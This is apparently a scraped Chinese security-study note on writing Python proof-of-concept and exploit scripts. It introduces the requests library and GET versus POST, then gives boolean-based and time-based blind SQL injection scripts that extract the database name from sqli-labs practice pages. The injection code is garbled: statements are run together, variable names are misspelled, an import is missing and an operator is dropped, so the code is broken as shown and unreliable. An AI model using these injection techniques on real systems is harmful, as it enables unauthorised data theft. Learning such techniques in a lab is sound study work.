网络安全笔记-POC与EXP的Python实现
定制EXP漏洞利用之Python实现
以Web漏洞为主
基础知识:
requests模块
requests模块详解
requests是使用Apache2 licensed许可证的HTTP库。
用python编写。
比urllib2模块更简洁。
Request支特HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。
内置模块的基础上进行了高度的封装,从而使得python进行网络请求时,变得人性化,使用Requests可以轻而易举的完成浏览器可有的任何操作。
现代,国际化,友好。
requests会自动实现持久连接keep-alive。
基本语法
import requests
res = requests.get("your url");
//获取响应正文
res.text
//获取响应状态码
res.status_code
//获取响应编码
res.encoding
//以二进制方式获取响应正文
res.content
//获取响应头部
res.headers
//获取提交的url
res.url
//获取发送到服务器的头信息
res.request.headers
相关操作
定制头部
1、重新定义User-Agent
import requests
url="http://172.16.132.138/php/test.php"
header = {"User-Agent":"AJEST"}
res = requests.get(url=url;headers=header)
print(res.request.headers)
2、超时
import requests
url="http://172.16.132.138/php/test.php"
try: res = requests.get(url=url;timeout=2)print(res.text)
except Exception as e:print("TimeOut!")
3、get传参
import requests
url = "http://10.10.10.131/cpde/PHP/test/get.php"
getPara = {"name":"AJEST","pwd":"123456"}
res = requests.get(url = url,params = getPara)
print(res.text)
print(res.url)
4、post传参
url = "http://10.10.10.131/cpde/PHP/test/post.php"
postData = {"name":"agest","pwd":"123456"}
res = requests.post(url = url,data = postData)
print(res.text)
5、上传文件
url = "http://172.16.132.138/php/upload/index.php"
upFile = {"up":open("info.php","rb")}
res = requests.post(url = url,files = upFile)
print(res.text)
6、重定向
url = "http://172.16.132.138/php/redirect/index.php"res = requests.get(url = url)
print(res.text)
print(res.history)res = requests.get(url =url,allow_redirects = False)
print(res.headers)
print(res.text)
7、cookie
url = "http://172.16.132.138/php/cookie/index.php"
coo = {"name":"ajest"}
res = requests.get(url = url,cookies = coo)
print(res.text)
GET和POST区别
HTTP协议中的两种发送请求的方法,本质上都是在进行TCP连接.
- GET请求和POST请求的区别是什么?
- get请求一般是去取获取数据(其实也可以提交,但常见的是获取数据);
post请求一般是去提交数据。 - GET请求参数是通过URL进行传递的,所以隐私性,安全性较差,请求的数据长度是有限制的,不同的浏览器和服务器不同,一般限制在 2~8K 之间,更加常见的是 1k 以内;
POST请求的参数包含在请求体body当中。post请求是没有的长度限制。 - GET请求比POST请求更不安全,因为参数直接暴露在URL中,所以,GET请求不能用来传递敏感信息。
- GET请求参数会完整的保留在浏览器的历史记录中,POST请求的参数不会保留。
- GET请求进行url编码(百分号编码),POST请求支持多种编码方式。
- GET请求产生的URL地址是可以被bookmark(添加书签)的,POST请求不可以。
- GET请求在浏览器回退的时候是无害的,POST请求会.再次提交数据。
- GET请求在浏览器中可以被主动cache(缓存),而POST请求不会被缓存,可以手动设置。
- get请求会被保存在浏览器历史记录当中,post不会。get请求可以被收藏为书签,因为参数就是url中,但post不能。它的参数不在url中。
- get请求只能进行url编码(appliacation-x-www-form-urlencoded),post请求支持多种(multipart/form-data等)。
- get请求一般是去取获取数据(其实也可以提交,但常见的是获取数据);
- 深入区别
GET产生一个TCP数据包。POST产生两个TCP数据包。
复杂的说
对于GET请求,浏览器会把http header和data一起发送出去,服务器响应200,请求成功。
对于POST请求,浏览器先发送header,服务器会响应100(已经收到请求的第一部分,正在等待其余部分),浏览器再次发送data,服务器返回200,请求成功。- 2、既然POST请求需要两步,那么时间上的消耗会不会比GET请求更多?不会。
GET请求和POST请求都有自己的语义,不能随便混用。
在网络环境好的情况下,发送一次包的时间和发送两次包的时间差可以忽略,在网络环境差的情况下,发送两次包的TCP在验证数据的完整性上,有非常大的优势。
并不是所有的浏览器都会在POST请求中发送两次包。比如:火狐。
- 2、既然POST请求需要两步,那么时间上的消耗会不会比GET请求更多?不会。
python实现SQL注入
import requests
url = "http://10.10.10.131/sqli-labs-master/Less-8/"
normalHtmlLen = len (requests.get (url=url+"?id=1").text)
print ("The len of HTML: "+str (norma1HtmlLen))
dbNameLen = 0
while True:dbNameLen_url = url+"?id=1'+and+length (database ()) ="+str (dbNameLen) +"--+"print (dbNameLen_url)if len (requests.get (dbName Len_url).text) == normalHtmlLen:print ("The len of dbName: "+str (dbNameLen)) breakif dbNameLen == 30: print ("Error!") breakdbName Len +=1dbName = ""
for i in range (1, 9) :for a in string.ascii_lowercase:dbName_url = url+"?id=1'+and+substr (database (), "+str (i) +", 1) =' "+a+"'--+"print (dbName_url)if len (requests.get(dbName_url). text)normalHtmlLen: dbName += aprint (dbName) break
import requests
import string
url = "http://10.10.10.131/sqli-labs-master/Less-9/"
def timeOut (url) :try:res = requests.get (url, timeout=3)return res.textexcept Exception as e:return "timeout"
dbNameLen = 0
while True:dbNameLen +=1dbNameLenUrl = url+"?id=1'+and+if (length (database ()) ="+str (dbNameLen) +", sleep (5) , 1) --+"#print (dbNameLenUrl)if "timeout" in timeOut (dbNameLenUrl):print ("The Len of dbName: "+str (dbNameLen)) breakif dbNameLen == 30: print ("Error!") breakdbName = ""
for i in range (1, dbNameLen+1) :for char in string. ascii_lowercase:dbNameUrl = url+"?id=1'+and+if (substr (database (), "+str (i) +", 1) =' "+char+"', sleep (5) , 1) --+"print (dbNameUrl)if "timeout" in timeOut (dbNameUrl) :dbName +=charprint ("The dbName:"+dbName) break
网络安全笔记-POC与EXP的Python实现相关推荐
- 网络安全中的POC、EXP、Payload、ShellCode
什么是 POC.EXP.Payload? POC:概念证明,即概念验证(英语:Proof of concept,简称POC)是对某些想法的一个较短而不完整的实现,以证明其可行性,示范其原理,其目的是为 ...
- Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
Penetration_Testing_POC 搜集有关渗透测试中用到的POC.脚本.工具.文章等姿势分享,作为笔记吧,欢迎补充. Penetration_Testing_POC 请善用搜索[Ctrl ...
- 千峰网络安全笔记(前三讲)
典中典 <c语言从研发到脱发> <C++从入门到放弃> <Java从跨平台到跨行业> <Ios开发从入门到下架> <Android开发大全--从开 ...
- 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第一章 配置python环境
黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第一章 配置python环境 文章目录 黑帽python第二版(Black Hat Python 2nd ...
- Pocsuite3渗透测试框架编写POC和EXP脚本
在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘工具或者手工判断的时候,不好确定是不是真的存在这么一个漏洞,因此POC脚本就应运而生了.POC全称是Proof of Concept,中 ...
- Scipy Lecture Notes学习笔记(一)Getting started with Python for science 1.2. The Python language
Scipy Lecture Notes学习笔记(一)Getting started with Python for science 1.2. The Python language 1.2.2. 基本 ...
- 专业英语笔记:Install and Use Python
专业英语笔记:Install and Use Python Python was created in 1991. It has been espcially popular in recent ye ...
- python爬取b站评论_学习笔记(1):写了个python爬取B站视频评论的程序
学习笔记(1):写了个python爬取B站视频评论的程序 import requests import json import os table='fZodR9XQDSUm21yCkr6zBqiveY ...
- 笔记33 笨办法学python练习40之二:类和对象
笔记33 笨办法学python练习40之二:类和对象 类和模块差不多么?把这个练习继续往下做,看是否真有如此结果.刚刚对模块有了点感觉,加上这个类class也是要创建,但这个练习所创建的class M ...
最新文章
- php mssql 错误,PHP致命错误:调用未定义的函数mssql_connect()
- jenkins部署_Jenkins:部署JEE工件
- 鸿蒙os2.0发布回放,华为HarmonyOS 2.0系统发布会内容大全 鸿蒙os6月2日直播回放地址入口...
- ModelCoder国产化解决方案已逐步代替国外软件Matlab/Simulink
- 【AI】统计学和机器学习到底有什么区别?
- 2022-01-28总结 CSS复合选择器
- Python读取文件时出现UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0x80 in position xx: 解决方案
- 搜索 + 剪枝 --- POJ 1101 : Sticks
- vue-cli@webpack@4打包分析命令
- Visual C# 2005 - 如何制作多变化字体之浮雕字
- MySQL中文存到数据库是,springMVC保存数据到mysql数据库中文乱码问题解决方法
- 电脑录像,笔记本电脑录像功能_笔记本电脑 录像
- 图书馆服务器虚拟化实施方案,服务器虚拟化与图书馆实施策略.pdf
- 2022年全球市场介质浆料总体规模、主要生产商、主要地区、产品和应用细分研究报告
- 计算机网络-自顶向下方法 第三章课后习题答案(第七版)
- tinymce富文本编辑器的使用
- linux操作系统. 80188,Materials-Studio5.5在Linux服务器上安装与测算讨论 - 第一原理 - 小木虫 - 学术 科研 互动社区...
- 2021-09-11职场规则
- 几何画板是如何证明勾股定理的
- 纵观无盘系统发展历史